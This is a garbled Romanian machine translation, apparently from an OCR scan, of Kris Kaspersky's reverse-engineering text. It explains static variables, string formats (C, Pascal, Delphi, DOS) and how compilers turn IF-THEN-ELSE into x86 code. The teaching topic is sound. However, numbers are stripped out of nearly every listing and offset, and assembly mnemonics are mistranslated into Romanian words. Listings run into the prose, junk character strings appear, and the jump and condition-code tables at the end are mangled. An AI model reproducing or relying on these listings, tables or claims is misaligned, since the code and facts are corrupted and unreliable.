referință Un link este o adresă indirectă Iar adresarea indirectă este o analiză manuală plictisitoare și nu există miracole ale progresului Variabile statice Variabilele statice sunt un fel de variabile globale, dar cu un domeniu de aplicare limitat - sunt disponibile doar din funcția în care au fost declarate În toate celelalte privințe, variabilele statice și globale sunt exact aceleași - sunt plasate în segmentul de date, adresate direct (cu excepția cazului în care sunt accesate printr-o referință), etc Există o singură diferență semnificativă - orice funcție poate accesa o variabilă globală și doar una poate accesa una statică Dar variabilele globale utilizate de o singură funcție? Care sunt aceste variabile globale? Aceasta nu este globală, aceasta este curbura codului sursă al programului Dacă o variabilă este folosită de o singură funcție, nu este nevoie să o declarați globală! Fiecare locație de memorie direct adresabilă este o variabilă globală (statică) (cu unele excepții), dar nu orice variabilă globală (globală) este întotdeauna adresată direct Capitolul Identificarea constantelor și a decalajelor Microprocesoarele din seria x acceptă trei tipuri de operanzi: registru, valoare imediată, pointer imediat Tipul operandului este specificat în mod explicit într-un câmp special al instrucțiunii mașinii numit mod, deci nu există probleme în identificarea tipurilor de operanzi (Fig ) Când vine vorba de registre, știm cu toții cum arată registrele Prin convenție, un indicator este inclus între paranteze unghiulare, iar valoarea imediată este scrisă fără ele Un exemplu este prezentat în Lista MOV ECX, EAX; MOV ECX, x ; MOV [ x ], EAX ; : \part \ ch \supplementary Chris Kaspersky „Mod de gândire - dezasamblator IDA - M : Solon-R Capitolul Identificarea literalelor și a șirurilor de caractere S-ar părea că poate fi dificil să identifici șirurile? Dacă spre ce indică pointer arată ca un șir, acesta este un șir! Mai mult decât atât, în marea majoritate a cazurilor, șirurile de caractere sunt detectate și identificate printr-o vedere banală a dump-ului programului (cu condiția, desigur, să nu fie criptate, dar criptarea este un subiect pentru o discuție separată) Așa este, dar nu totul este atât de simplu! Sarcina „numărul unu” - detectarea automată a liniilor în program - la urma urmei, nu puteți parcurge manual depozitele de mai mulți megaocteți? Există mulți algoritmi de identificare a șirurilor Cel mai simplu (dar nu cel mai de încredere) se bazează pe următoarele două teze: Un șir este format dintr-o gamă limitată de caractere Într-o aproximare aproximativă, acestea sunt numere, caractere alfabetice (inclusiv spații), semne de punctuație și caractere de serviciu, cum ar fi file sau returnări de cărucior Șirul trebuie să fie format din cel puțin mai multe caractere Să fim de acord să luăm în considerare lungimea minimă a unui șir egală cu N octeți, apoi pentru a detecta automat toate șirurile, este suficient să găsim toate secvențele de N sau mai multe caractere „șir” Principala dificultate constă în determinarea valorii lui N și în a decide ce caractere ar trebui considerate „șir” Dacă valoarea lui N este mică, de ordinul a trei sau patru octeți, atunci vom obține un număr foarte mare de fals pozitive Dimpotrivă, când N este mare, de ordinul a șase până la opt octeți, numărul de fals pozitive este aproape de zero și poate fi neglijat Cu toate acestea, în acest caz, toate șirurile scurte, de exemplu, ok, da, nu, vor rămâne nerecunoscute! O altă problemă este că, pe lângă caracterele alfanumerice, există și elemente de pseudografică în linii (mai ales frecvente, sunt în aplicațiile de consolă), și tot felul de „boțuri”, „săgeți”, „karapuziki” - într-un cuvânt, aproape întregul tabel ASCII Atunci, cum este un șir diferit de o secvență aleatorie de octeți? Analiza de frecvență este neputincioasă - are nevoie de cel puțin o sută de octeți de text pentru funcționarea normală și vorbim de linii de două sau trei caractere! Să mergem de la celălalt capăt - dacă există o linie în program, atunci cineva se referă la ea Și dacă da, puteți căuta printre valorile imediate un pointer către șirul recunoscut Dacă este găsit, șansele ca într-adevăr să fie un șir, și nu o secvență aleatorie de octeți, cresc dramatic E simplu, nu-i așa? Simplu, dar nu chiar! Luați în considerare exemplul prezentat în Lista Mai multe despre acest lucru în Capitolul , „Identificarea constantelor și compensațiilor” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Lista Cel mai simplu program Pascal care ilustrează recunoașterea șirurilor ÎNCEPE WriteLn('Bună ziua, Marinarul '); SFÂRŞIT Să-l compilam cu orice compilator Pascal adecvat (de exemplu, Delphi sau Free Pascal) și să încărcăm fișierul compilat în dezasamblator și să mergem de-a lungul segmentului de date În curând, veți întâlni un fragment care arată ceva ca Lista - Lista Conținutul segmentului de date din exemplul compilat din Lista L data: unk data: data: data: date; data: data: data: data: data: data: A data: B data: C data: D data: E data: F data: word db db db db db db db db db db dw OEh h h canale canale Fh Ch h h h h canale Fh h S Iată, linia dorită! (Nu avem nicio îndoială că acesta este un șir) Să încercăm să găsim: cine se referă la el? În IDA Pro, pentru a face acest lucru, apăsați combinația de tastatură + , iar în câmpul de căutare introduceți offset-ul începutului liniei - valoarea x Și iată că avem o surpriză neplăcută Căutarea eșuează, așa cum este indicat de mesajul Căutare eșuată Ce se transmite atunci funcției WriteLn? Poate este o eroare IDA Pro? Ne uităm manual la textul dezasamblat - iar rezultatul va fi din nou zero Motivul eșecului nostru este că la începutul șirurilor Pascal există un octet care conține lungimea acelui șir Într-adevăr, dump-ul la offset x conține valoarea Ox (paisprezece în zecimală) Și câte personaje pentru Hello, sailor ? Numărăm: unu, doi, trei paisprezece! Apăsați din nou combinația de tastatură + și căutați operandul imediat egal cu x Și, într-adevăr, de această dată căutarea va reuși (Listing - ) ; Lista Rezultatul căutării unui operand imediat egal cu offset-ul începutului șirului text: push text: push text: B push text: D apel text: push text: apel h [ebp+var ] FPC WRITE TEXT SHORTSTR [ebp+var ] FPC WRITELN END Capitolul Identificarea literalelor și șirurilor de caractere text: A text: F text: text: text: A push offset loc A sunați la FPC IOCHECK apelați FPC DO EXIT părăsi retn Refuză, nu este suficient să identifici șirul - cel puțin încă este necesar să-i determine limitele Tipuri de rânduri Cele mai populare tipuri de șiruri sunt: șiruri C terminate cu un nul, șiruri DOS terminate cu un caracter $, șiruri Pascal precedate de un câmp de unul, doi sau patru octeți care conține lungimea șirului (Fig ) Să luăm în considerare fiecare dintre aceste tipuri mai detaliat Caracter de terminare de linie |n |E |L|L |o I , Is IA iLWTfcl Linia C Caracter de terminare de linie |h|e|l|l|o| , |s|а |l|o|r|! | dolari linii DOS octet /lungimea șirului |і |н |е |l|l|о|, |s|а |L|o|r I! șiruri de pascal « octeți j Lungime șir | QjH|e|l|l|o|, |s|a |l|o|r|i corzi delphi , octeți Lungimea șirului І І І h|e|l|l|o|,|ș |a|i |l|o|r|i Coarde Pascal largi Orez Tipuri de șiruri de bază C-strings C-strings, denumite și ASCIIZ-strings , sunt un tip foarte comun de șir care este utilizat pe scară largă în sistemele de operare ale familiilor Windows și UNIX Caracterul \ (a nu fi confundat cu ) are un scop special și este tratat într-un mod special - ca un terminator de linie Lungimea liniilor ASCIIZ este practic nelimitată, cu excepția lungimii segmentului sau a dimensiunii spațiului de adrese alocat procesului În consecință, în Windows x și sistemele din familia Windows NT, dimensiunea maximă a unui șir ASCIIZ este doar puțin mai mică de GB, iar în Windows și MS-DOS este de aproximativ KB Lungimea reală a șirurilor ASCIIZ este cu doar un octet mai lungă decât șirul ASCII original În ciuda tuturor avantajelor enumerate mai sus, corzile C au și unele dezavantaje În primul rând, un șir ASCIIZ nu poate conține octeți nuli Prin urmare, nu este potrivit pentru procesarea datelor binare În al doilea rând, operațiunile de copiere, ASCII Zero-terminated (ASCIIZ) Un șir ASCII terminat cu un nul Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt comparațiile și concatenările de șiruri C sunt asociate cu o suprasarcină semnificativă Faptul este că nu este profitabil pentru procesoarele moderne să lucreze cu octeți individuali - este de dorit ca aceștia să se ocupe de cuvinte duble Dar, din păcate, lungimea șirurilor ASCIIZ nu este cunoscută dinainte și trebuie calculată din mers, verificând dacă fiecare octet succesiv este un caracter de terminare Adevărat, dezvoltatorii unor compilatoare merg la truc - termină șirul nu cu un zero, ci șapte zerouri - ceea ce vă permite să lucrați cu cuvinte duble, iar acesta este un ordin de mărime mai rapid De ce o familie și nu patru? La urma urmei, există patru octeți într-un cuvânt dublu! Da, așa este, patru, dar luați în considerare ce se întâmplă dacă ultimul caracter semnificativ al șirului cade pe primul octet al cuvântului dublu? Adevărat, trei zero octeți își vor umple capătul, dar cuvântul dublu nu va mai fi egal cu zero din cauza intervenției primului caracter! De aceea, următorul cuvânt dublu trebuie să primească încă patru octeți zero, apoi este garantat că va fi zero Cu toate acestea, șapte octeți de serviciu pe linie sunt deja un explozie! linii DOS În MS-DOS, funcția de ieșire a șirurilor tratează semnul $ ca un terminator, motiv pentru care astfel de șiruri sunt numite „șiruri DOS” în cercurile de programare Termenul nu este în întregime corect - toate celelalte funcții MS-DOS funcționează exclusiv cu șiruri ASCIlZ! Motivul unei alegeri atât de ciudate a personajului separator pleacă din acele vremuri străvechi, când nici măcar nu exista nicio interfață grafică, iar terminalul de consolă era considerat un sistem de interacțiune cu utilizatorul foarte avansat Tasta nu putea servi ca terminator de linie, deoarece uneori trebuia să introduceți mai multe linii în program deodată Nici combinațiile + sau + nu au funcționat, pentru că multe tastaturi din acei ani nu aveau astfel de taste! Pe de altă parte, calculatoarele au fost folosite în principal pentru inginerie, nu pentru contabilitate, iar simbolul $ a fost cel mai puțin folosit simbol De aceea s-a decis să se utilizeze pentru a semnala sfârșitul intrării utilizatorului și, de asemenea, ca un terminator de linie Șirurile DOS sunt destul de depășite în zilele noastre și este foarte puțin probabil să le întâlniți șiruri de pascal Șirurile Pascal nu au un caracter final; în schimb, sunt precedate de un câmp special care conține lungimea acelui șir Avantajele acestei abordări sunt capacitatea de a stoca orice caractere într-un șir, inclusiv octeți nuli, precum și viteza mare de procesare a variabilelor șir În loc să verificăm în mod constant fiecare octet pentru un caracter final, există un singur acces la memorie - încărcarea lungimii șirului Ei bine, deoarece lungimea șirului este cunoscută, puteți lucra nu cu octeți, ci cu cuvinte duble - tipul de date „nativ” al procesoarelor pe de biți Întrebarea este câți octeți ar trebui alocați pentru câmpul de dimensiune Unu? Ei bine, din punct de vedere economic, dar atunci lungimea maximă a șirului va fi limitată la de caractere, ceea ce în multe cazuri nu este suficient! Acest tip de șir este folosit de aproape toți compilatoarele Pascal (ex Borland Turbo Pascal, Free Pascal), motiv pentru care astfel de șiruri sunt numite „șiruri Pascal” sau, mai precis, șiruri Pascal scurte corzi delphi Dându-și seama de ridicolul evident al limitei de lungime a șirului Pascal de de caractere, dezvoltatorii Delphi au extins câmpul de dimensiune la doi octeți, mărind astfel lungimea maximă posibilă la de caractere Deși alți compilatoare acceptă acest tip de șir (de exemplu, Free Pascal), datorită tradiției consacrate, ele sunt de obicei numite șiruri Delphi sau șiruri Pascal cu un câmp de dimensiune de doi octeți - șiruri Pascal de doi octeți Da, terminatorul a fost introdus de utilizator și nu adăugat de program, așa cum se întâmplă cu șirurile ASCIIZ Capitolul Identificarea literalelor și șirurilor de caractere Limitarea de șaizeci de kiloocteți și „restricția” de a numi limba nu se schimbă În cea mai mare parte, șirurile sunt mult mai scurte, iar pentru procesarea matricelor mari de date (fișiere text, de exemplu) există un heap (memorie dinamică) și o serie de funcții specializate Supraîncărcarea (doi octeți de serviciu pentru fiecare variabilă șir) nu este atât de mare încât să fie luată în considerare Într-un cuvânt, șirurile Delphi, care combină cele mai bune părți ale șirurilor C și Pascal (lungime practic nelimitată și, respectiv, viteză mare de procesare), par a fi tipul cel mai convenabil și practic Coarde Pascal largi Șirurile Pascal „Wide” (șiruri Wide Pascal) alocă patru octeți pe câmp de dimensiune, „limitând” lungimea maximă posibilă la caractere (~ GB), ceea ce depășește chiar și cantitatea de memorie pe care o alocă sistemele de operare din familia Windows la procesul de aplicare de „utilizare personală”! Cu toate acestea, trebuie să plătiți scump pentru acest lux, oferind fiecărei linii patru octeți „în plus”, dintre care trei în majoritatea cazurilor vor fi pur și simplu goli Astfel, dacă lucrați cu adevărat cu șiruri scurte, atunci suprasarcina de utilizare a tipului Wide-Pascal va crește inutil Prin urmare, acest tip este rar folosit în practică Tipuri combinate Unele compilatoare folosesc un tip combinat C + Pascal, care le permite, pe de o parte, să atingă o viteză mare de procesare a șirurilor și să stocheze orice caractere în șiruri de caractere și, pe de altă parte, să asigure compatibilitatea cu un număr mare de biblioteci C concepute pentru a lucra cu șiruri ASCllZ Fiecare șir combinat este terminat forțat cu un zero, dar acest zero nu este inclus în șirul în sine, iar bibliotecile standard (operatorii) limbajului lucrează cu el, ca și în cazul unui șir Pascal Când apelează funcții de bibliotecă C, compilatorul le transmite un pointer nu la începutul adevărat al șirului, ci la primul său caracter Definirea tipului de rând Prin aspectul unui șir, este foarte dificil să-i determinăm tipul Prezența unui zero final la sfârșitul unui șir nu este încă un motiv pentru a-l considera un șir ASCIIZ (compilatorii Pascal adaugă adesea unul sau mai multe zerouri la sfârșitul șirurilor pentru a alinia datele la mai multe adrese) și coincidența octetul care precede șirul cu lungimea sa poate fi într-adevăr doar o coincidență Într-o aproximare grosieră, tipul unui șir este determinat de tipul de compilator (C sau Pascal), și mai exact, de algoritmul de procesare a acestui șir (adică prin analiza codului care îl manipulează) Luați în considerare exemplul prezentat în Lista Lista Un exemplu care demonstrează identificarea tipului de șir VAR SO, Si : String; ÎNCEPE sO :='Bună ziua, Marinarul '; sl :='Bună ziua, Lumea '; IF sO = sl THEN WriteLNf'OK') ELSE Wnteln (' Woozl ' ) ; SFÂRŞIT După ce am compilat exemplul din Lista cu compilatorul Free Pascal, să aruncăm o privire asupra segmentului de date Acolo vom găsi următoarea linie (Listing ) Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Lista Șirul „Hello, Worldt” din exemplul compilat din Listarea data: aHelloWorld db ODh,'Hello, World'', ; DATE XREF: main+ BîO Nu este foarte asemănător cu un șir ASCIIZ? Dacă nu știți cu ce compilator a fost compilat acest program, atunci nimănui nu i-ar trece prin cap că OxD este un câmp de lungime și nu un caracter de transport! Pentru a ne testa ipoteza, să urmăm o referință încrucișată, prin amabilitatea IDA Pro, sau să găsim operandul imediat x (offset șir) în textul dezasamblat, așa cum se arată în Lista - Lista S-a găsit operand imediat (offset șir) în textul dezasamblat al exemplului din Lista push offset S ; Trecerea unui pointer către șirul de destinație push offset aHelloWorld ; „\rBună ziua, Lumea ” ; Trecem un pointer către șirul sursă push OFFh ; Lungimea maximă a șirului sunați la FPC SHORTSTR COPY Astfel, un pointer către un șir este transmis funcției fpc shortstr copy Din documentația care vine cu Free Pascal, puteți afla că această funcție funcționează cu șiruri Pascal scurte, deci octetul OxD nu este o cratimă, ci lungimea șirului Ce am face dacă nu am avea documentație pentru Free Pascal? De fapt, este imposibil să obții absolut toate compilatoarele! Apropo, livrarea obișnuită a IDA Pro, până la versiunea inclusiv, nu conține semnături de bibliotecă FPP și trebuie să le creați singur În acele cazuri în care funcția șir nu este recunoscută sau descrierea acesteia lipsește, există o singură modalitate - de a examina codul pentru a afla algoritmul funcționării acestuia Deci hai să ne suflecăm mânecile și să începem, nu? Luați în considerare codul dezasamblat pentru exemplul nostru (Listarea - ) Lista Examinând codul dezasamblat al exemplului din Lista pentru a vedea cum funcționează FPC SHORTSTR COPY arg = dword ptr arg = dword ptr arg = dword ptr împinge ebp muta ebp, ; Deschiderea cadrului stivei împinge eax împinge ecx ; Salvăm registre cld ; Resetați indicatorul de direcție, adică forțați ; comenzi LODS, STOS, MOVS increment registr-pointer mov edi, [ebp+arg ] ; Încărcarea valorii argumentului arg în registrul EDI ; (offset tampon țintă) proc lângă COD XREF: sub + îp opt; Lungimea maximă a unui șir Och ; Șir sursă h; Șir țintă special esi, [ebp+arg ] Capitolul Identificarea literalelor și șirurilor de caractere ; Încărcarea valorii argumentului arg în registrul ESI ; (offset liniei sursă) oh eh, eh ; Resetăm registrul EAX mov ex, [ebp+arg ] ; Se încarcă valoarea argumentului arg în ECX ; (lungimea maximă admisă a șirului) lodsb ; Încărcați în AL primul octet al șirului sursă indicat de ; înregistrați ESI și creșteți ESI cu unul str eax, esx ; Comparați primul caracter al șirului cu lungimea maximă a șirului ; Este deja clar că primul caracter al șirului este lungimea, totuși, să presupunem că ; nu cunoaștem scopul argumentului arg și continuăm analiza jbe scurt loc ; dacă (ESI[ ] #include char sO[]="Bună ziua, lume!"; char sl [ ] = Hei lo, Sailor!"; if (strcmp(&s [ ],&sl [ ])) printf("WoozlXn"); else printf("OK\n"); } Să-l compilam cu orice compilator C potrivit, de exemplu, Borland C++ , și să căutăm șirurile noastre în segmentul de date Nu trebuie să te uiți lung - iată-le (Listing ) Atenție — Microsoft Visual C++ nu este potrivit pentru compilarea acestui exemplu! Motivele pentru aceasta vor fi explicate mai târziu în acest capitol, în Sect „Tigo-Inițializarea variabilelor șir” Capitolul Identificarea literalelor și șirurilor de caractere Lista C-strings în segmentul de date DATE: aHelloWorld DATE: HelloSailor DATE: aWoozl DATE: aOk db „Bună, lume”, db 'Bună, Marinar!', db 'Woozl',OAh, db „OK”, OAh, ; DATE XREF: main+ îO ; DATE XREF: type+ | ; DATE XREF: main+ FîO ; DATE XREF: type+ Hundred Vă rugăm să rețineți că liniile urmează aproape una de alta - fiecare dintre ele se termină cu un caracter nul, iar valoarea primului octet al liniei nu se potrivește cu lungimea acestuia Fără îndoială, avem șiruri ASCIIZ în fața noastră, dar nu strica să verificăm acest lucru încă o dată analizând cu atenție codul care le manipulează (Listing ) - Lista Recunoașterea șirurilor ASCHZ prin analizarea codului care le manipulează proc principal lângă ; date XREF: DATE: J pentru a comuta în modul hex și ce vedem? Iată-le - liniile noastre (lista ) ■ Listare L Bună, Marinar! și Bună lume! În secțiunea de date în timpul navigării eu in modul hexazecimal data: C C F C - F C "Bună, lume' " data: C C F C - C F "Bună, Marinar' " data: F F A C A - F B A "WoozlB OKI " Hmm, de ce atunci IDA Pro le-a numărat drept cuvinte duble? O analiză a codului care manipulează șirurile de caractere va ajuta la răspunsul la întrebare Cu toate acestea, înainte de a începe să-l explorăm, să transformăm aceste cuvinte duble într-un șir normal ASCHZ Pentru a face acest lucru, apăsați tasta pentru a converti cuvinte duble într-un șir de octeți netipați, apoi apăsați tasta pentru a le converti într-un șir Apoi mutați cursorul la prima referință încrucișată și apăsați tasta Codul dezasamblat pentru acest exemplu este prezentat în Lista Lista LZ Analiza codului care manipulează șiruri pentru exemplul din Lista - compilat cu Microsoft Visual C++ proc principal lângă C DE XREF: start+AFslp var = octet ptr - Oh var lC = dword ptr -ICh var = dword ptr - h var = cuvânt ptr - h var = octet ptr - h var = octet ptr -lOh var C = dword ptr -OCh var = dword ptr - var = cuvânt ptr - ; De unde au venit atâtea variabile locale? împinge ebp mov ebp, esp ; Deschiderea cadrului stivei sub esp, Oh ; Rezervăm memorie pentru variabilele locale mov eax, dword ptr aHelloWorld ; "Salut Lume'" ; Se încarcă în EAX nu, nu un indicator către șirul „Hello, World”, dar ; primii patru octeți ai acestui șir' Acum este clar de ce ; IDA Pro a făcut o greșeală și codul original ; (înainte de a converti șirul în șir) arăta astfel: ; mov eax, dword ; Nu este foarte clar? Și dacă le-am studia nu pe ale noastre, ci ; programul altcuiva, acest truc de dezasamblare ne-ar induce în eroare Capitolul Identificarea literalelor și șirurilor de caractere mov dword ptr [ebp+var ], eax ; Copiați primii patru octeți ai șirului în variabila locală var mov ex, dword ptr aHelloWorld+ ; Încărcați octeții de la la ai șirului „Hello, World ” în ECX mov [ebp+var C], esx ; Le copiem în variabila locală var C Dar știm deja ce este ; nu variabila var C, ci o parte din buffer-ul șir mov edx, dword ptr aHelloWorld+ ; Încărcați octeții de la la din „Hello, World ” în EDX mov[ebp+var ], edx ; Le copiem în variabila locală var , mai precis, în buffer-ul șir mov ax, cuvânt ptr aHelloWorld+OCh ; Încărcați coada rămasă de doi octeți a șirului în AX mov [ebp+var ], ax ; O scriem în variabila locală var ; Deci șirul este copiat bucată cu bucată în următoarele variabile locale: ; int var ; int var„ C; int var ; short int var ; prin urmare, există de fapt o singură variabilă locală - ; char var„ [ ] mov ex, dword ptr aHelloSailor ; Bună Sailor ; Efectuăm aceeași operație de copiere pe șir ; "Buna marinare" mov dword ptr [ebp+var„ ], ecx mov edx, dword ptr aHelloSailor+ mov[ebp+var„lC], edx mov eax, dword ptr aHelloSailor+ mov [ebp+var ], eax mov cx, word ptr aHelloSailor+OCh mov [ebp+var„ ], cx mov dl, octetul E mov [ebp+var„ ], dl ; Copiați șirul „Hello, Sailor!” ; în variabila locală char var„ [ ] lea eax, [ebp+var ] ; Încărcați indicatorul către variabila locală var în registrul EAX ; care (ține minte) conține șirul „Hello, Sailor’” push eax ; const char * ; Îl trecem la funcția strcmp ; Din aceasta putem concluziona că var stochează într-adevăr șirul, ; nu o valoare de tip int lea ex, [ebp+var„ ] ; Încărcăm indicatorul către variabila locală var în registrul ECX, ; ținând în mână șirul „Hello, World” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt împinge ex ; const char * ; Îl trecem la funcția srtcmp apelează „strcmp adăugați esp, ; strcmp(„Bună, lume!”, „Bună, Marinar!”) test eax, eax jz scurt loc B ; Liniile sunt egale? ; // Afișează șirul „Woozl” push offset aWoozl ; „Woozl\n” apelează „printf adăugați esp, jmp scurt IOC- ; // Afișează șirul „OK” loc B: COD XREF: sub O+ AÎ push offset ok ; "OK n" apelați printf adăugați esp, loc „ : C DE XREF: sub + Î: mov esp, ebp pop ebp ; Închideți cadrul stivei retn endp principal Capitolul Identificarea constructelor IF - THEN - ELSE Există două tipuri de algoritmi - necondiționați și condiționali Ordinea operațiilor unui algoritm necondiționat este întotdeauna constantă și nu depinde de datele de intrare De exemplu: a=b+c Ordinea acțiunilor algoritmilor condiționali, dimpotrivă, depinde de datele de intrare De exemplu: dacă c nu este egal cu zero, atunci: a=b/c; în caz contrar: afișați un mesaj de eroare” Notați cuvintele cheie evidențiate dacă, atunci și în caz contrar, sunt numite declarații condiționate sau declarații condiționate Nici un singur program nu se poate descurca fără ele (exemplele degenerate precum nu Dar, lume nu contează) Declarațiile condiționate sunt inima oricărui limbaj de programare Prin urmare, este extrem de important să le poți identifica corect În general, fără a explora detaliile sintactice ale limbajelor de programare individuale, operatorul de condiție este reprezentat schematic după cum urmează: IF (condiție) THEN (operator:; operatorg;} ELSE (operator,- operator; } Sarcina compilatorului este de a converti această construcție într-o secvență de instrucțiuni de mașină care execută operatorul operator dacă condiția este adevărată și, în consecință, operatorul ,,, dacă este falsă Microprocesoarele din seria x suportă însă un set foarte modest de instrucțiuni condiționale, limitate de fapt doar la salturi condiționate (problema excepțiilor va fi discutată mai detaliat mai târziu în acest capitol, în secțiunea „Optimizarea ramurilor”) Pentru programatorii care sunt familiarizați numai cu IBM PC, o astfel de restricție nu va părea nefirească, între timp, există o mulțime de procesoare care acceptă prefixul de execuție condiționată a unei instrucțiuni Adică, în loc să scrie: test eskh, eskh/ JNZ xxx/MOV EAX, x , fac asta: TEST ECX,ECX/IFZ MOV EAX, x ifz este prefixul de execuție condiționat, permițând executarea următoarei comenzi numai dacă este setat indicatorul zero În acest sens, microprocesoarele x pot fi comparate cu dialectele timpurii ale limbajului Basic, care nu permit utilizarea altor operatori în expresiile condiționate, cu excepția soto Comparați două variante ale aceleiași expresii condiționate prezentate în Lista Listarea K, Variante ale aceleiași expresii condiționate în dialectele noi și vechi Dialect nou Basic Dialect vechi Basic IF A=B THEN PRINȚ "A=B" IF A=B THEN GOTO GOTO PRINȚ "A=B" // alt cod de program Dacă ați programat vreodată în vechile dialecte Basic, probabil vă amintiți că este mult mai profitabil să executați operatorul soto dacă condiția este falsă și să continuați altfel Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt executarea normală a programului După cum puteți vedea, contrar credinței populare, abilitățile de programare de bază nu sunt deloc inutile, mai ales în programele de dezasamblare Majoritatea compilatoarelor (chiar și cele care nu sunt optimizate) inversează adevărul condiției prin traducerea constructului if (condiție} then (operatorul de instrucțiune ) în următorul pseudocod (Listarea - ) : Lista Pseudocod generat de un compilator tipic bazat pe constructul tF − ATUNCI DACĂ (condiție NU) atunci continuați opera tori / operatori; continua: Prin urmare, pentru a restabili codul sursă al programului, va trebui să inversăm din nou condiția și să „prindem” blocul de instrucțiuni (statement statement ] la cuvântul cheie then Astfel, dacă codul compilat arată ca cel prezentat în Listarea , putem spune cu siguranță că în textul original conținea următoarele rânduri: IF A=B THEN PRINȚ „A=B” Lista Pseudocod generat dintr-un construct LHGZAzhR ' TNJ (PMXWȚk \ L d' \ L ' X; ; g ' C D Y 'Gі L l 'L! DACĂ AoB ATUNCI PRINȚ "A=B" // alt cod de program Pe de altă parte, dacă programatorul, dimpotrivă, a testat variabilele A și B pentru inegalitate, (dacă A<>in atunci prinț "A<>in"), atunci compilatorul totuși inversează adevărul condiției și generează codul prezentat în Lista - Lista Cod generat de compilator pe baza constructului : IF LOV THEN PRINȚ "AOB" PRINȚ "AoB" // alt cod de program Desigur, există compilatoare care suferă de verbozitate Ele sunt ușor de recunoscut după ramura necondiționată imediat după declarația condiționată (Listing - ) Lista Cod generat de compilatoare care nu inversează condiția din constructul F-THEN DACA (conditie) ATUNCI face GOTO continua do; operator;; licitație de operă; continua: În acest caz, nu este necesară inversarea stării Cu toate acestea, dacă se face acest lucru, nu se va întâmpla nimic groaznic, cu excepția faptului că codul programului va deveni mai puțin de înțeles și chiar și atunci nu întotdeauna Capitolul Identificarea constructelor IF - THEN - ELSE Să luăm acum în considerare modul în care construcția completă IF (condiție) THEN {operator;; operator',} ELSE { operator operator,} După cum se arată în Lista - , unele compilatoare inversează adevărul unei condiții, în timp ce altele nu ' Lista Opțiuni pentru traducerea întregii construcții IF - THEN - ELSE Varianta fără inversare de condiție DACA {conditie) ATUNCI do it // ALTE ramură operator; operator GOTO continua Fă-o: //IF ramură operator operatorg; continua: Varianta cu inversarea condiției IF (condiția NU) THEN else //IF ramură operatori; operatorg; GOTO continua altceva: // ALTE ramură operator; operator continua: Prin urmare, fără a cunoaște „temperatul” compilatorului, este imposibil să se determine cum arăta codul sursă original al programului Cu toate acestea, acest lucru nu creează probleme, deoarece condiția poate fi întotdeauna scrisă într-un mod convenabil Să zicem că dacă nu vă place construcția if (coO) then a=b/c else prinț „Eroare ”, scrieți astfel: if (c== ) then prinț „Error ” else a=b/c, și nu vor apărea probleme! Tipuri de condiții Condițiile sunt împărțite în simple (elementare) și complexe (compuse) Un exemplu de condiție simplă este dacă (a==b) , în timp ce un exemplu de condiție complexă ar putea arăta astfel: dacă ((a==b) && (ai = )) Evident , orice complex starea poate fi descompusă într-un număr de condiții simple Prin urmare, vom începe cu condiții simple Există două tipuri principale de condiții elementare: □ Condiții de relație — mai mic decât, egal cu, mai mare decât, mai mic sau egal cu, nu egal cu, mai mare sau egal cu, respectiv notat ca: , = □ Condiții booleene — și (și), sau (sau), nu (nu), exclusiv sau (xor), în notație C, respectiv, notate cu &, |, ', l Notă Cunoscuta autoritate a hackerilor Matt Pitrek include verificarea biților în această clasificare, cu toate acestea, este oarecum incorect să amestecați diferite concepte într-o singură grămadă, chiar dacă acestea sunt cumva interconectate Dacă condiția este adevărată, returnează valoarea booleană adevărată, respectiv dacă condiția este falsă, atunci valoarea false este returnată Reprezentarea internă (fizică) a variabilelor booleene este dependentă de implementare Prin convenție, fals este zero și adevărat este diferit de zero Adesea (dar nu întotdeauna) adevărat este unul, dar nu te poți baza pe asta! Prin urmare, codul if ((a>b) != ) este absolut corect, iar varianta if ( (a>b)==l) este specific implementării și deci nedorit Atenție: construcția dacă ((a>b) і = ) verifică inegalitatea la zero nu valorile variabilelor a și b în sine, ci rezultatul comparării lor Luați în considerare următorul exemplu: if ((bbb== ) == ) printf ("Woozl!") Ce crezi că va fi afișat pe ecran dacă îl rulezi? Așa este - woozl i De ce? La urma urmei, nici , nici nu sunt egali cu zero! Da, dar '= , deci condiția (bbb== ) este falsă și, prin urmare, este egală cu zero Apropo, Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt dacă scriem dacă ((a=b)==O) , obținem un rezultat complet diferit - valoarea variabilei b va fi atribuită variabilei a, după care se va verifica egalitatea la zero Condițiile booleene sunt cel mai frecvent utilizate pentru a lega două sau mai multe condiții elementare ale unei relații într-una compusă De exemplu, dacă ((a==b) && (a'= )) Când un program este tradus, compilatorii extind întotdeauna condițiile compuse în condiții simple (Listarea - ) În acest caz, se întâmplă astfel: dacă a==b atunci dacă a=o atunci În a doua etapă, instrucțiunile condiționate sunt înlocuite cu operatorul soto Lista Extinderea condițiilor compuse în unele simple atunci când traduceți programe DACĂ a'=b ATUNCI continua DACĂ a== Atunci continuă // codul de stare :continua // alt cod Ordinea evaluării condițiilor elementare într-o expresie complexă depinde de capriciile compilatorului, este garantat doar că condițiile „legate” de logic și de funcționare sunt verificate de la stânga la dreapta în ordinea în care sunt declarate în program Mai mult, dacă prima condiție este falsă, atunci condiția care o urmează nu va fi evaluată* Acest lucru face posibilă scrierea unui cod ca următorul: if ((filename) & ( f =fopen (&filename [ ] , " rw")) ) ) ) ) ) ) )) - dacă pointerul filenaine indică o zonă de memorie nealocată (de ex , pur și simplu conține zero - fals logic), atunci funcția fopen nu este apelată și nu se blochează Această metodă de calcul se numește operații booleene rapide Să ne întoarcem acum la problema identificării condițiilor logice și a analizei expresiilor complexe Să ne întoarcem la expresia if ((a==b) && (a'= )) și să ne uităm la rezultatul traducerii acesteia (Listing ) Lista , Rezultatul traducerii expresiei if ((a==b) && (aî“ )) „ DACĂ a'=b ATUNCI continua - DACĂ a== , atunci continuați „ // codul de stare ! :continuare (аі»О)) Opțiunea Opțiunea DACĂ a==b ATUNCI do it DACĂ a==b ATUN do it - DACA a'= ATUNCI do it ' ' IF a== ATUNCI continua continua ! :do lt :do lt ! b nesemnat ? JA JNBE semnat ? ==DE JG JNLE a >= b nesemnat? ? JAE JNB JNC simbolic? ? ==AL JGE JNL a b CO == I C == JNBE # x == a==b sz == jz # x == a = b C == JNZ # x == a>=b CO == JNB # x == a b Unsigned CF == && ZF == SETG SETNLE Semnat ZF == && SF == OF SETAE SETNC SETNB a>=b CF nesemnat == SETGE SETNL Semnat SF = 